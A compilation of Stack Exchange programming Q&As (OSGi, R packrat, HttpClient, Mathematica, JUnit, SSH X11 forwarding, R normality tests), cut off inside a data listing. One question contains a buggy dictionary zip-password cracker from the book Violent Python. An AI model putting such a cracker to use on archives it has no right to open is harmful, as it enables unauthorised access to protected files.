text:
Q: OSGi modules/bundles granularity When I first started looking at OSGi I was under the impression that you could just build a JAR and as-long as it had a manifest file, you could deploy it in a OSGi container. I imagined building my modules in a classic way (maven), and maybe use some plugin or something of the sort to write the manifest, I could then have my module that would basically be a standalone application communicating with other modules through OSGi.
Further reading about OSGi, I'm beginning to see more examples of it being used at a more low-level and basically replacing dependency injection and providing cross-cutting concern services like logging. And seems that using things like hibernate or others, is a problem... (or maybe I'm just missing something).
At least for me, I don't really see the point of having a such fine-gained level of modularity   and integration to OSGi, I would much rather have a separate modules, each one of them having its own set of technologies and frameworks, and possibly a web resources and persistence layer. Is this achievable with OSGi? If yes, can you point me in the right direction, examples etc.?
edit, added some more details of how I'm trying to use OSGi:
I'm just envisioning the possibility of having a more than one-class module, that might have a more higher-level responsibility.
Like say agenda module. In this case I want to have things like, persistence of the events, add events, list events with filters, etc...
This agenda might have several internal classes, and might even need a persistence layer. So I would like to use something like Guice to DI those classes, and some JPA to persist my data.
I can understand that some X-cutting concerns like server or logging can have a bundle, but the data model is specific to the agenda bundle. So I think my question was at the end What is and what is not possible to do inside a bundle? And what should and shouldn't be done inside as a general practice?
Thanks!
Mauricio

A: You can use OSGi without forcing any dependencies on OSGi on the application code. However, since OSGi provides modularity, the middleware (your layers) need to have some knowledge of OSGi. The problem is that in a modular world you want to hide implementation details, that is the whole purpose. However, things like Spring and Hibernate tend to assume the classpath has no boundaries and they run head on into the fences. Fortunately, more and more middleware is becoming prepared for this, I heard Hibernate now has an effort and JPA is also available in OSGi.

A: OSGi is many things to many people, and you can almost pick and choose what parts of it you want to use:

*

*Do you have a plain library that doesn't use any other dependencies? Sweet, just put up a minimal MANIFEST.MF listing the public packages, use maven to build your JAR and you're done.

*Do you have dependencies? Same as (1), you just add the imported packages in your manifest.

*Do you need to perform some initialization? Write an Activator, and mention it in your manifest.

*Services? Just put the dependencies and descriptions of those in XML files and add them in the manifest.

And so on - just use the level where you are comfortable.
On the other hand, if you want to do web applications you really need to consider the architectural interplay between OSGi, the libraries you use, your application manager and the servlet/jee/whatever container. At what level will OSGi reside? In a general sense, there are OSGi->container->app, container->OSGi->app and container->app->OSGi solutions, and each has their own idiosyncrasies.

A: Concerning building with maven, you can use the Maven-Bundle-Plugin it helps you to build OSGi bundles without having to write the manifest on your own. All the required meta information will be in your POM.
Dependency injection can be achieved on top of the module layer. One possible solution would be Declarative Services which enables you to inject via an XML description or code annotations. It strongly reflects the dynamic nature of OSGi Services (dynamic binding unbinding of services).
The alternative is Blueprint which is based upon spring and features a very similar syntax. One key feature is that it can abstract the nature of binding and unbinding of services. If you think about using Spring, use Blueprint.
OSGi only implies how you structure your modules. You get a well defined graph of module interactions (who imports/exports a package? Who exports Services and who uses it?)
therefore you can build an enterprise architecture on top of it by building cohesive bundles for every task.

A: OSGi is sometimes referred to as a service-oriented architecture for the JVM. Looking at bundles as modular units that provide services helps define the right granularity: you'll usually have API bundles which are just here to provide java packages that define APIs, service bundles that provide implementations of these APIs, and utility/auxiliary bundles that provide the cross-cutting services that you mention.
You can use some dependency injection frameworks on top of OSGi, but from my experience (with Apache Sling and Adobe CQ5) keeping things simple is often better. The OSGi Service Component Runtime and Configuration Admin provide all I need to manage services, dependencies and configurations, especially if you design your system for that from the beginning.
You can find a bit more about our experience with OSGi in designing Adobe CQ5 in my "tales from the OSGi trenches" slides at http://www.slideshare.net/bdelacretaz/tales-from-the-osgi-trenches-2012-short-form-edition - that might help get a better feel for how OSGi is used in  building complex systems.


text:
Q: Loading dependencies from package-internal packrat library I am building an R package with packrat. The package is fully tested and installation from the locally saved source file by
install.packages("myPackage.tar.gz", repos = NULL, type = "source")

works if all dependencies (specified in the Imports: field) are installed on the local machine.
However, I would like to install that package on another server where dependencies are not installed. When I try to do this, I get the error
"ERROR: dependencies 'survey', 'dplyr' are not available for package 'myPackage'"

I also tried to install the packrat bundle which I created by calling
packrat::bundle(project = 'pathtomypackageproject', file = 'myPackage.tar.gz',
                include.lib = TRUE)

but I get the same error.
I think the problem is that, upon installing 'myPackage', R searches the first element of .libPaths(), doesn't find anything and since "repos = NULL" is specified, has nowhere to install the packages from so the error is thrown.
A solution I'm still trying to avoid is to transfer a repository containing all dependencies to the server and pointing to the repository when installing the package. Ideally, I only have to transfer myPackage.tar.gz.
My question is if there is some way to point to the internal packrat library, where all dependencies can be found, and import the namespaces from there.

A: If you have included the list of packages to be imported in DESCRIPTION File, then you just need to do this while installation of your package:
  install.packages("myPackage",dependencies=TRUE)

redpajama_set_name: RedPajamaStackExchange


text:
Q: Cannot retrieve filenames using Python docopt library I am reading the book Violent Python and one example is a zip file cracker, which tests a dictionary file of potential passwords (a text file) against a zip file.
I am trying to use the docopt library to parse the command line and give me the filenames for these two files. Here is my code.
#!/usr/bin/python
# -*- coding: utf-8 -*-
"""
Basic zip bruteforcer

Usage:
  your_script.py (-f <file>) (-z <zip> )
  your_script.py -h | --help

Options:
  -h --help     Show this screen.
  -f --file     specify dictionary file. (Required argument)
  -z --zip      specify zip file.(Required argument)
  -t --thread   Thread count. (Optional)
  -v --verbose  Turn debug on. (Optional)
"""
from docopt import docopt
import zipfile
from threading import Thread

def extractzip(zfile, password):
    try:
        zfile.extractall(pwd = password)
        print 'password found: ', password
    except:
        return

def main():
    zfile = zipfile.ZipFile(zip)
    with open(file, 'r') as pass_file:
        for line in pass_file.readlines():
            password = line.strip('\n')
            t = Thread(target = extractzip, args = (zfile, password))
            t.start()

if __name__ == "__main__":
    arguments = docopt(__doc__, version='0.1a')
    extractzip(arguments['<file>'], ['<zip>'])

Here is my code.

A: You can do something like
  print arguments['<file>']

to get the file name, and similarly the zip file. I personally haven't used extractzip and am not sure how that works. But since arguments is simply a list, you can easily get the values by accessing the required index directly.


text:
Q: Apache HttpClientBuilder - IllegalArgumentException I get IllegalArgumentException when trying to build Apache HttpClient instance wit HttpClientBuilder:
private CloseableHttpClient delegate;

public DigestClient(String user, String pass) {
    Credentials credentials = new UsernamePasswordCredentials(user, pass);

    CredentialsProvider credentialsProvider = new BasicCredentialsProvider();
    credentialsProvider.setCredentials(AuthScope.ANY, credentials);

    delegate = HttpClientBuilder.create()
            .setDefaultCredentialsProvider(credentialsProvider)
            .build();
}

what I get is:
 java.lang.IllegalArgumentException: Item may not be null
        at org.apache.http.util.Args.notNull(Args.java:48)
        at org.apache.http.config.RegistryBuilder.register(RegistryBuilder.java:58)
        at org.apache.http.impl.client.HttpClientBuilder.build(HttpClientBuilder.java:727)
        at com.example.app.data.net.DigestClient.<init>(DigestClient.java:51)

Any ideas why this happens?
Here's my gradle with HttpClient's version:
compile 'org.apache.httpcomponents:httpclient-android:4.3.5'

A: Upgrading httpclient-android version fixed it for me:
compile 'org.apache.httpcomponents:httpclient-android:4.3.5.1'

A: I found a solution here:

http://javacave.blogspot.com/2014/08/androidapache-httpclient.html

For those who don't know Chinese:
I had to do:
SSLContext sslContext = SSLContexts.createSystemDefault();
SSLConnectionSocketFactory sslsf = new SSLConnectionSocketFactory(sslContext);

and then
delegate = HttpClients.custom()
            .setDefaultCredentialsProvider(credentialsProvider)
            .setSSLSocketFactory(sslsf)
            .build();

At least it doesn't crash this way.

A: private CloseableHttpClient delegate;

public DigestClient(String user, String pass) {
    Credentials credentials = new UsernamePasswordCredentials(user, pass);

    CredentialsProvider credentialsProvider = new BasicCredentialsProvider();
    credentialsProvider.setCredentials(AuthScope.ANY, credentials);

    delegate = HttpClientBuilder.create()
            .setDefaultCredentialsProvider(credentialsProvider)
            .build();
}


text:
Q: Using Table to build a matrix I am completely new to Mathematics. I am doing an exercise which requires me to use Table to make a $10 \times 10$ matrix with numbers $1,2,...,10$ on the diagonal and $1$ in the upper diagonal entries and with $0$ in the lower diagonal matrix.
I have been able to generate the diagonal command along with the upper diagonal command (using If) but that yields $1$ in the lower diagonals also.
Can anybody help me with this code?

A: As Henrik Schumacher points out in a comment to the question, Which, which can be considered a multi-test version of If, can be used to solve your problem. Like so.
m = Table[Which[i == j, i, i < j, 1, True, 0], {i, 10}, {j, 10}];
m // MatrixForm

You could also use nested If expressions.
m = Table[If[i == j, i, If[i < j, 1, 0]], {i, 10}, {j, 10}];

A: One using Switch and another using nested If:
m1 = Table[
   Switch[Positive[i - j], True, 0, False, 1; i], {i, 1, 10}, {j, 1,
    10}];
m2 = Table[
   If[i - j == 0, i, If[i - j > 0, 0, 1]], {i, 1, 10}, {j, 1, 10}];


text:
Q: Why JUnit test methods need to be void? I've read in lot of places that test methods should/must be void, but no one says what is the reason for this.
I found in MethodValidator the following check without comments/javadocs.
    if (each.getReturnType() != Void.TYPE) {
        errors.add(new Exception("Method " + each.getName()
                + " should be void"));
    }

So why it should be void?

A: Ask you the reverse question : why JUnit test methods would need to be not void ?
No reason : because a test method is not designed to return a result that will be exploited by a client class.
The goal of an unit test is validating some assertions. A test runner invokes the test methods and and this is the runner that interprets any assertion failure or any exception thrown during the test execution to produce the test result.
We could wonder why tests don't return the assertion result.
But it would be a bad idea as it would be very cumbersome to write unit tests :
@Test
public AssertionResult foo(){
   Bar actualBar = foo.doThat(...);
   if (actualBar == null){
       return AssertionResult.fail("actualBar == null");
   }
}

Write something like that is really readable and straight :
@Test
public void foo(){
   Bar actualBar = foo.doThat(...);
   Assert.assertNotNull(actualBar);
}

We could also wonder why test methods cannot be invoked by other test methods such as :
@Test
public int foo(){
   Bar actualBar = foo.doThat(...);
   //...
   return intValue;
}

@Test
public void fooWithComputedInt(){
   Bar actualBar = foo.doThat(foo());
   //...
}

But this also would be not a good idea as this would couple the tests execution while unit tests execution has to be isolated from others. And it also would make the tests be executed multiple times and unit tests have to be executed as fast as possible.
So really no value to make a test method return other thing than void.

A: This is purely a design choice. JUnit does not know about your code, so it could not do anything if your method would return something.
So either it should discard a return value, or require you to use "void" methods. The authors chose the latter option - you could argue that this slightly better because it's not confusing the reader.
Note that non-@Test methods are free to do whatever they want - they don't have this limitation.


text:
Q: ssh X11Forwarding Gtk-WARNING **: 22:56:39.694: cannot open display: 10.255.255.202:0 I have an Ubuntu server on the local net I can ssh to an run say gedit. It works just fine.
And a remote Red Hat 7 through a VPN connection which fails.
I connect with the command:
ssh -X -o ForwardX11=yes -o ForwardX11Trusted=yes rhsrv

and then I get the fail:
$ gedit
(gedit:3085): Gtk-WARNING **: 23:13:00.902: cannot open display: 10.255.255.202:0

To verify I run a few commands:
# is DISPLAY set?
$ echo $DISPLAY
10.255.255.202:0

# Exists the .Xauthority ?
$ strings ~/.Xauthority
MIT-MAGIC-COOKIE-1

$ xauth list
rhsrv:10  MIT-MAGIC-COOKIE-1  43f5b66044bf4645cde63c22213a0c28

$ xauth info
Authority file:       /home/joe/.Xauthority
File new:             no
File locked:          no
Number of entries:    1
Changes honored:      yes
Changes made:         no
Current input:        (argv):1

# Is route back to client pc open? yes:
$ ssh 10.255.255.202 22
joe@10.255.255.202's password:

# IPv6 problems? no:
$ sudo egrep "^(X|Ad)" /etc/ssh/sshd_config
AddressFamily inet
X11Forwarding yes
X11UseLocalhost no

$ rpm -qa | grep x11
xorg-x11-apps-7.7-7.el7.x86_64
xorg-x11-font-utils-7.5-21.el7.x86_64
xorg-x11-fonts-Type1-7.5-9.el7.noarch
xorg-x11-xauth-1.0.9-1.el7.x86_64

I have tried to rm ~/.Xauthority to get a fresh file with no luck.
I have tried ssh -Y without luck.
After changing /etc/ssh/sshd_config I have run:
# systemctl reload sshd
# systemctl restart sshd
# cat /var/run/sshd.pid | xargs kill -1

On the client pc I ran a verbose task ssh -vv and looked in the output rhsrv file for clues but it looks jolly good:
$ egrep "(Req|[Xx]11)" rhsrv
debug1: Requesting no-more-sessions@openssh.com
debug2: x11_get_proto: /usr/bin/xauth  list :0 2>/dev/null
debug1: Requesting X11 forwarding with authentication spoofing.
debug2: channel 0: request x11-req confirm 1
debug1: Requesting authentication agent forwarding.
debug2: X11 forwarding request accepted on channel 0

Another user on this internal network and server reports no problem while running Emacs in GUI. His routing to the server is a bit different as he connect to the network interface ens192 (172.23.x.x) where I connect to the alias ens193 (10.x.x.x). His $DISPLAY variable says:
$ echo $DISPLAY
pd9993b1.example.org:0

So he has a valid reverse DNS lookup while I don't. It was expected that the $DISPLAY should read something like localhost:10.0 but despite of that he runs GUI fine.
The routing is like this (but should not be relevant):
$ /sbin/routel
     target         gateway source    proto  scope    dev tbl
    default     172.23.10.1          static        ens192
10.255.0.0/ 16  10.255.20.1          static        ens193

Is there any logfile or something I have missed to look for?


text:
Q: Statistical test on multiple variables on multiple lists (tibble) To simplify my data analysis I need to process different statistical tests (in that example a shapiro test) on different different variables and on different groups of data. The purpose is to not write 150 times the same code. To do that I created, from my dataset, a tibble where each list correspond to a group of data.
The dataset:
dput(head(PdataLaKo,25))
structure(list(ctd_file = c("2018-08-02T162038 SBE0251090", "2018-08-02T162038 SBE0251090",
"2018-08-02T162038 SBE0251090", "2018-08-02T162038 SBE0251090",
"2018-08-02T162038 SBE0251090", "2018-08-02T162038 SBE0251090",
"2018-08-02T162038 SBE0251090", "2018-08-02T162038 SBE0251090",
"2018-08-02T162038 SBE0251090", "2018-08-02T162038 SBE0251090",
"2018-08-02T175518 SBE0251090", "2018-08-02T175518 SBE0251090",
"2018-08-02T175518 SBE0251090", "2018-08-02T175518 SBE0251090",
"2018-08-02T175518 SBE0251090", "2018-08-02T175518 SBE0251090",
"2018-08-02T175518 SBE0251090", "2018-08-02T175518 SBE0251090",
"2018-08-02T175518 SBE0251090", "2018-08-02T175518 SBE0251090",
"2018-08-03T090018 SBE0251090", "2018-08-03T090018 SBE0251090",
"2018-08-03T090018 SBE0251090", "2018-08-03T090018 SBE0251090",
"2018-08-03T090018 SBE0251090"), station = c("1", "1", "1", "1",
"1", "1", "1", "1", "1", "1", "2", "2", "2", "2", "2", "2", "2",
"2", "2", "2", "3", "3", "3", "3", "3"), month = c(8L, 8L, 8L,
8L, 8L, 8L, 8L, 8L, 8L, 8L, 8L, 8L, 8L, 8L, 8L, 8L, 8L, 8L, 8L,
8L, 8L, 8L, 8L, 8L, 8L), day = c(2L, 2L, 2L, 2L, 2L, 2L, 2L,
2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 3L, 3L, 3L,
3L, 3L), year = c(2018L, 2018L, 2018L, 2018L, 2018L, 2018L, 2018L,
2018L, 2018L, 2018L, 2018L, 2018L, 2018L, 2018L, 2018L, 2018L,
2018L, 2018L, 2018L, 2018L, 2018L, 2018L, 2018L, 2018L, 2018L
), time = c(16.38, 16.38, 16.38, 16.38, 16.38, 16.38, 16.38,
16.38, 16.38, 16.38, 17.57, 17.57, 17.57, 17.57, 17.57, 17.57,
17.57, 17.57, 17.57, 17.57, 9.05, 9.05, 9.05, 9.05, 9.05), LAT = c("69.27166667",
"69.27166667", "69.27166667", "69.27166667", "69.27166667", "69.27166667",
"69.27166667", "69.27166667", "69.27166667", "69.27166667", "69.25386667",
"69.25386667", "69.25386667", "69.25386667", "69.25386667", "69.25386667",
"69.25386667", "69.25386667", "69.25386667", "69.25386667", "69.23883333",
"69.23883333", "69.23883333", "69.23883333", "69.23883333"),
    LONG = c("-25.15166667", "-25.15166667", "-25.15166667",
    "-25.15166667", "-25.15166667", "-25.15166667", "-25.15166667",
    "-25.15166667", "-25.15166667", "-25.15166667", "-25.0637",
    "-25.0637", "-25.0637", "-25.0637", "-25.0637", "-25.0637",
    "-25.0637", "-25.0637", "-25.0637", "-25.0637", "-24.9915",
    "-24.9915", "-24.9915", "-24.9915", "-24.9915"), bottom_depth = c("226",
    "226", "226", "226", "226", "226", "226", "226", "226", "226",
    "229", "229", "229", "229", "229", "229", "229", "229", "229",
    "229", "255", "255", "255", "255", "255"), timeS = c(223.5,
    227.236, 228.558, 228.916, 229.336, 229.749, 230.119, 230.49,
    228.871, 231.587, 242.497, 241.334, 241.591, 241.869, 242.205,
    242.601, 249.68, 249.758, 250.013, 250.3, 266.6, 267.148,
    267.57, 267.899, 268.245), pressure = c(0.607, 0.707, 0.808,
    0.909, 1.01, 1.112, 1.212, 1.313, 1.516, 1.616, 0.503, 0.101,
    0.202, 0.303, 0.404, 0.505, 0.606, 0.707, 0.808, 0.909, 0.303,
    0.404, 0.505, 0.606, 0.707), depth = c(0.6, 0.7, 0.8, 0.9,
    1, 1.1, 1.2, 1.3, 1.5, 1.6, 0.5, 0.1, 0.2, 0.3, 0.4, 0.5,
    0.6, 0.7, 0.8, 0.9, 0.3, 0.4, 0.5, 0.6, 0.7), salinity = c(30.195,
    30.1989, 30.199, 30.1737, 30.1894, 30.1824, 30.1546, 30.2275,
    29.9942, 30.2885, 28.2285, 28.1332, 28.2182, 28.3279, 28.3815,
    28.4242, 29.0786, 29.1525, 29.2647, 29.3672, 32.484, 32.3028,
    31.885, 31.3775, 30.978), temperature = c(2.6459, 2.6477,
    2.6263, 2.5913, 2.6188, 2.608, 2.6106, 2.6746, 2.6973, 2.6837,
    1.9945, 2.0299, 1.9315, 1.7799, 1.734, 1.7082, 1.9263, 1.928,
    1.9184, 1.8562, 1.1441, 1.073, 1.052, 1.0518, 1.0603), oxygen = c(352.891,
    352.339, 352.12, 352.03, 351.884, 351.702, 351.505, 351.296,
    347.288, 351.001, 345.827, 345.879, 345.866, 345.841, 345.782,
    345.65, 346.849, 346.78, 346.718, 346.609, 340.888, 340.026,
    339.348, 338.819, 338.245), oxygen2 = c(102.182, 102.228,
    102.257, 102.281, 102.313, 102.347, 102.383, 102.427, 101.491,
    102.644, 97.258, 97.311, 97.301, 97.29, 97.275, 97.253, 98.285,
    98.293, 98.325, 98.357, 97.857, 97.839, 97.829, 97.812, 97.788
    ), fluorescence = c(0.17892, 0.17232, 0.17139, 0.17278, 0.17479,
    0.17701, 0.1792, 0.18158, 0.18525, 0.18909, 0.10588, 0.10647,
    0.10697, 0.10818, 0.10978, 0.11157, 0.1479, 0.14969, 0.15256,
    0.15607, 0.30833, 0.31088, 0.31321, 0.31532, 0.31758), turbidity = c(0.164,
    0.164, 0.164, 0.164, 0.163, 0.163, 0.163, 0.163, 0.161, 0.163,
    0.165, 0.165, 0.165, 0.165, 0.165, 0.164, 0.159, 0.16, 0.16,
    0.16, 4.742, 4.747, 4.751, 4.753, 4.755), conductivity = c(2.742475,
    2.743057, 2.74087, 2.73591, 2.740138, 2.738197, 2.736985,
    2.747572, 2.72913, 2.752912, 2.524555, 2.525942, 2.524426,
    2.523692, 2.525012, 2.526692, 2.596153, 2.602249, 2.609861,
    2.613963, 2.806078, 2.786396, 2.752134, 2.712379, 2.682113
    ), pH = c(8.094, 8.098, 8.099, 8.099, 8.099, 8.099, 8.099,
    8.099, 8.014, 8.099, 8.16, 8.16, 8.16, 8.16, 8.159, 8.159,
    8.149, 8.148, 8.147, 8.146, 8.121, 8.12, 8.12, 8.119, 8.118
    ), par = c(2627.7, 2627.7, 2627.7, 2627.7, 2627.7, 2627.7,
    2627.7, 2627.7, 2600, 2627.7, 2627.8, 2627.8, 2627.8, 2627.8,
    2627.8, 2627.8, 2627.8, 2627.8, 2627.8, 2627.8, 2627.6, NA,
    2627.6, 2627.6, 2627.6), soundSpeed = c(1454.65, 1454.65,
    1454.57, 1454.38, 1454.53, 1454.47, 1454.45, 1454.82, 1439.8,
    1454.96, 1449.08, 1449.22, 1448.88, 1448.36, 1448.23, 1448.18,
    1449.98, 1450.1, 1450.19, 1450.08, 1450.99, 1450.48, 1449.83,
    1449.19, 1448.69), svDM = c(1454.55, 1454.55, 1454.48, 1454.29,
    1454.43, 1454.37, 1454.35, 1454.72, 1439.71, 1454.86, 1448.98,
    1449.12, 1448.78, 1448.26, 1448.14, 1448.08, 1449.89, 1450.01,
    1450.1, 1449.98, 1450.91, 1450.4, 1449.76, 1449.12, 1448.61
    ), svWM = c(1454.57, 1454.57, 1454.49, 1454.3, 1454.45, 1454.39,
    1454.37, 1454.74, 1439.73, 1454.89, 1448.89, 1449.03, 1448.69,
    1448.18, 1448.05, 1448, 1449.84, 1449.96, 1450.05, 1449.94,
      1451.01, 1450.49, 1449.83, 1449.16, 1448.62)), row.names = c(NA,
    25L), class = "data.frame")

#to correspond to the number of observations, the rows are duplicated

    PdataLaKo <- as.data.frame(lapply(PdataLaKo, rep, 250))

To do that I used, the function group_split from the package dplyr, which created a tibble of different lists corresponding to each group (ctd_file). after I tried to apply shapiro.test from the package rstatix to each selected variable of a group with sapply and to each groups with lapply.
PdataLaKo <- PdataLaKo %>%
  group_split(ctd_file)
lnorm <- PdataLaKo[, c(11:24)] %>%
  map(~ lapply(., sapply(., shapiro.test)))

If I extract one group with filter and do not create a tibble, the sapply function applied to each variable works. Consequently, the problem come from tibble and not the application to selected column.
#non-grouped data
PdataLaKot <- PdataLaKo %>% filter(ctd_file == "2018-08-05T092503 SBE0251090")
lnorm <- PdataLaKot[, c(11:24)] %>% sapply(shapiro.test)

A: Generally you could do this:
library(dplyr)
library(rstatix)

PdataLaKo %>%
  group_by(ctd_file) %>%
  summarize(across(pressure:svWM, ~ list(shapiro_test(.))),
            .groups = "drop")

However, in your code you're using shaprio.test which is from base R not shapiro_test from the rstatix library.
Also, with the example you've provided this code will error because some of your columns for certain groups do not have any variation in their data. Excluding those columns the output would look like this:

lnorm <- PdataLaKo %>%
  group_by(ctd_file) %>%
  summarize(across(pressure:pH, ~ list(shapiro_test(.))), # range only up to pH
            .groups = "drop")

lnorm
# A tibble: 3 x 11
  ctd_file   pressure  depth  salinity temperature oxygen oxygen2 fluorescence
  <chr>      <list>    <list> <list>   <list>      <list> <list>  <list>
1 2018-08-0~ <tibble ~ <tibb~ <tibble~ <tibble [1~ <tibb~ <tibbl~ <tibble [1 ~
2 2018-08-0~ <tibble ~ <tibb~ <tibble~ <tibble [1~ <tibb~ <tibbl~ <tibble [1 ~
3 2018-08-0~ <tibble ~ <tibb~ <tibble~ <tibble [1~ <tibb~ <tibbl~ <tibble [1 ~
# ... with 3 more variables: turbidity <list>, conductivity <list>, pH <list>

Note that the output is a bunch of list-columns and each list contains a tibble of the results from the test. You could then access a specific group and column in multiple ways (below using row index and column names):
lnorm[1, "pressure", drop = T][[1]]
# A tibble: 1 x 3
  variable statistic  p.value
  <chr>        <dbl>    <dbl>
1 pressure     0.934 5.66e-32

A: library(tidyverse)

shapiro_test_safely <- possibly(.f = shapiro.test, otherwise = NA)

a <- df %>%
  group_nest(ctd_file) %>%
  mutate(
    data = map(data, ~select(.x, where(is.numeric))[, -c(1:4)]),
    res = map(data, ~map(.x, shapiro_test_safely)),
    res = purrr::set_names(res, nm = ctd_file))

fltr <- map(a$res, ~!is.na(.x))

b <- map2(.x = a$res, .y = fltr,  ~.x[.y])

map_df(b, ~map_df(.x, broom::glance)) %>%
  mutate(nm = map(b, names) %>% unlist()) %>%
  mutate(SET = rep(names(b), sapply(b, length)))

#> # A tibble: 43 x 5
#>    statistic p.value method                      nm           SET
#>        <dbl>   <dbl> <chr>                       <chr>        <chr>
#>  1     0.862 0.0807  Shapiro-Wilk normality test timeS        2018-08-02T162038~
#>  2     0.969 0.879   Shapiro-Wilk normality test pressure     2018-08-02T162038~
#>  3     0.969 0.882   Shapiro-Wilk normality test depth        2018-08-02T162038~
#>  4     0.800 0.0144  Shapiro-Wilk normality test salinity     2018-08-02T162038~
#>  5     0.946 0.625   Shapiro-Wilk normality test temperature  2018-08-02T162038~
#>  6     0.711 0.00119 Shapiro-Wilk normality test oxygen       2018-08-02T162038~
#>  7     0.776 0.00738 Shapiro-Wilk normality test oxygen2      2018-08-02T162038~
#>  8     0.939 0.543   Shapiro-Wilk normality test fluorescence 2018-08-02T162038~
#>  9     0.750 0.00356 Shapiro-Wilk normality test turbidity    2018-08-02T162038~
#> 10     0.978 0.954   Shapiro-Wilk normality test conductivity 2018-08-02T162038~
#> # ... with 33 more rows

Created on 2021-09-16 by the reprex package (v2.0.1)
data
df <-
  structure(
    list(
      ctd_file = c(
        "2018-08-02T162038 SBE0251090",
        "2018-08-02T162038 SBE0251090",
        "2018-08-02T162038 SBE0251090",
        "2018-08-02T162038 SBE0251090",
        "2018-08-02T162038 SBE0251090",
        "2018-08-02T162038 SBE0251090",
        "2018-08-02T162038 SBE0251090",
        "2018-08-02T162038 SBE0251090",
        "2018-08-02T162038 SBE0251090",
        "2018-08-02T162038 SBE0251090",
        "2018-08-02T175518 SBE0251090",
        "2018-08-02T175518 SBE0251090",
        "2018-08-02T175518 SBE0251090",
        "2018-08-02T175518 SBE0251090",
        "2018-08-02T175518 SBE0251090",
        "2018-08-02T175518 SBE0251090",
        "2018-08-02T175518 SBE0251090",
        "2018-08-02T175518 SBE0251090",
        "2018-08-02T175518 SBE0251090",
        "2018-08-02T175518 SBE0251090",
        "2018-08-03T090018 SBE0251090",
        "2018-08-03T090018 SBE0251090",
        "2018-08-03T090018 SBE0251090",
        "2018-08-03T090018 SBE0251090",
        "2018-08-03T090018 SBE0251090"
      ),
      station = c(
        "1",
        "1",
        "1",
        "1",
        "1",
        "1",
        "1",
        "1",
        "1",
        "1",
        "2",
        "2",
        "2",
        "2",
        "2",
        "2",
        "2",
        "2",
        "2",
        "2",
        "3",
        "3",
        "3",
        "3",
        "3"
      ),
      month = c(
        8L,
        8L,
        8L,
        8L,
        8L,
        8L,
        8L,
        8L,
        8L,
        8L,
        8L,
        8L,
        8L,
        8L,
        8L,
        8L,
        8L,
        8L,
        8L,
        8L,
        8L,
        8L,
        8L,
        8L,
        8L
      ),
      day = c(
        2L,
        2L,
        2L,
        2L,
        2L,
        2L,
        2L,
        2L,
        2L,
        2L,
        2L,
        2L,
        2L,
        2L,
        2L,
        2L,
        2L,
        2L,
        2L,
        2L,
        3L,
        3L,
        3L,
        3L,
        3L
      ),
      year = c(
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L,
        2018L
      ),
      time = c(
        16.38,
        16.38,
        16.38,
        16.38,
        16.38,
        16.38,
        16.38,
        16.38,
        16.38,
        16.38,
        17.57,
        17.57,
        17.57,
        17.57,
        17.57,
        17.57,
        17.57,
        17.57,
        17.57,
        17.57,
        9.05,
        9.05,
        9.05,
        9.05,
        9.05
      ),
      LAT = c(
        "69.27166667",
        "69.27166667",
        "69.27166667",
        "69.27166667",
        "69.27166667",
        "69.27166667",
        "69.27166667",
        "69.27166667",
        "69.27166667",
        "69.27166667",
        "69.25386667",
        "69.25386667",
        "69.25386667",
        "69.25386667",
        "69.25386667",
        "69.25386667",
        "69.25386667",
        "69.25386667",
        "69.25386667",
        "69.25386667",
        "69.23883333",
        "69.23883333",
        "69.23883333",
        "69.23883333",
        "69.23883333"
      ),
      LONG = c(
        "-25.15166667",
        "-25.15166667",
        "-25.15166667",
        "-25.15166667",
        "-25.15166667",
        "-25.15166667",
        "-25.15166667",
        "-25.15166667",
        "-25.15166667",
        "-25.15166667",
        "-25.0637",
        "-25.0637",
        "-25.0637",
        "-25.0637",
        "-25.0637",
        "-25.0637",
        "-25.0637",
        "-25.0637",
        "-25.0637",
        "-25.0637",
        "-24.9915",
        "-24.9915",
        "-24.9915",
        "-24.9915",
        "-24.9915"
      ),
      bottom_depth = c(
        "226",
        "226",
        "226",
        "226",
        "226",
        "226",
        "226",
        "226",
        "226",
        "226",
        "229",
        "229",
        "229",
        "229",
        "229",
        "229",
        "229",
        "229",
        "229",
        "229",
        "255",
        "255",
        "255",
        "255",
        "255"
      ),
      timeS = c(
        223.5,
        227.236,
        228.558,
        228.916,
        229.336,
        229.749,
        230.119,
        230.49,
        228.871,
        231.587,
        242.497,
        241.334,
        241.591,
        241.869,
        242.205,
        242.601,
        249.68,
        249.758,
        250.013,
        250.3,
        266.6,
        267.148,
        267.57,
        267.899,
        268.245
      ),
      pressure = c(
        0.607,
        0.707,
        0.808,
        0.909,
        1.01,
        1.112,
        1.212,
        1.313,
        1.516,
        1.616,
        0.503,
        0.101,
        0.202,
        0.303,
        0.404,
        0.505,
        0.606,
        0.707,
        0.808,
        0.909,
        0.303,
        0.404,
        0.505,
        0.606,
        0.707
      ),
      depth = c(
        0.6,
        0.7,
        0.8,
        0.9,
        1,
        1.1,
        1.2,
        1.3,
        1.5,
        1.6,
        0.5,
        0.1,
        0.2,
        0.3,
        0.4,
        0.5,
        0.6,
        0.7,
        0.8,
        0.9,
        0.3,
        0.4,
        0.5,
        0.6,
        0.7
      ),
      salinity = c(
        30.195,
        30.1989,
        30.199,
        30.1737,
        30.1894,
        30.1824,
        30.1546,
        30.2275,
        29.9942,
        30.2885,
        28.2285,
        28.1332,
        28.2182,
        28.3279,
        28.3815,
        28.4242,
        29.0786,
        29.1525,
        29.2647,
        29.3672,
        32.484,
        32.3028,
        31.885,
        31.3775,
        30.978
      ),
      temperature = c(
        2.6459,
        2.6477,
        2.6263,
        2.5913,
        2.6188,
        2.608,
        2.6106,
        2.6746,
        2.6973,
        2.6837,
        1.9945,
        2.0299,
        1.9315,
        1.7799,
        1.734,
        1.7082,
        1.9263,
        1.928,
        1.9184,
        1.8562,
        1.1441,
        1.073,
        1.052,
        1.0518,
        1.0603
      ),
      oxygen = c(
        352.891,
        352.339,
        352.12,
        352.03,
        351.884,
        351.702,
        351.505,
        351.296,
        347.288,
        351.001,
        345.827,
        345.879,
        345.866,
        345.841,
        345.782,
        345.65,
        346.849,
        346.78,
        346.718,
        346.609,
        340.888,
        340.026,
        339.348,
        338.819,
        338.245
      ),
      oxygen2 = c(
        102.182,
        102.228,
        102.257,
        102.281,
        102.313,
        102.347,
        102.383,
        102.427,
        101.491,
        102.644,
        97.258,
        97.311,
        97.301,
        97.29,
        97.275,
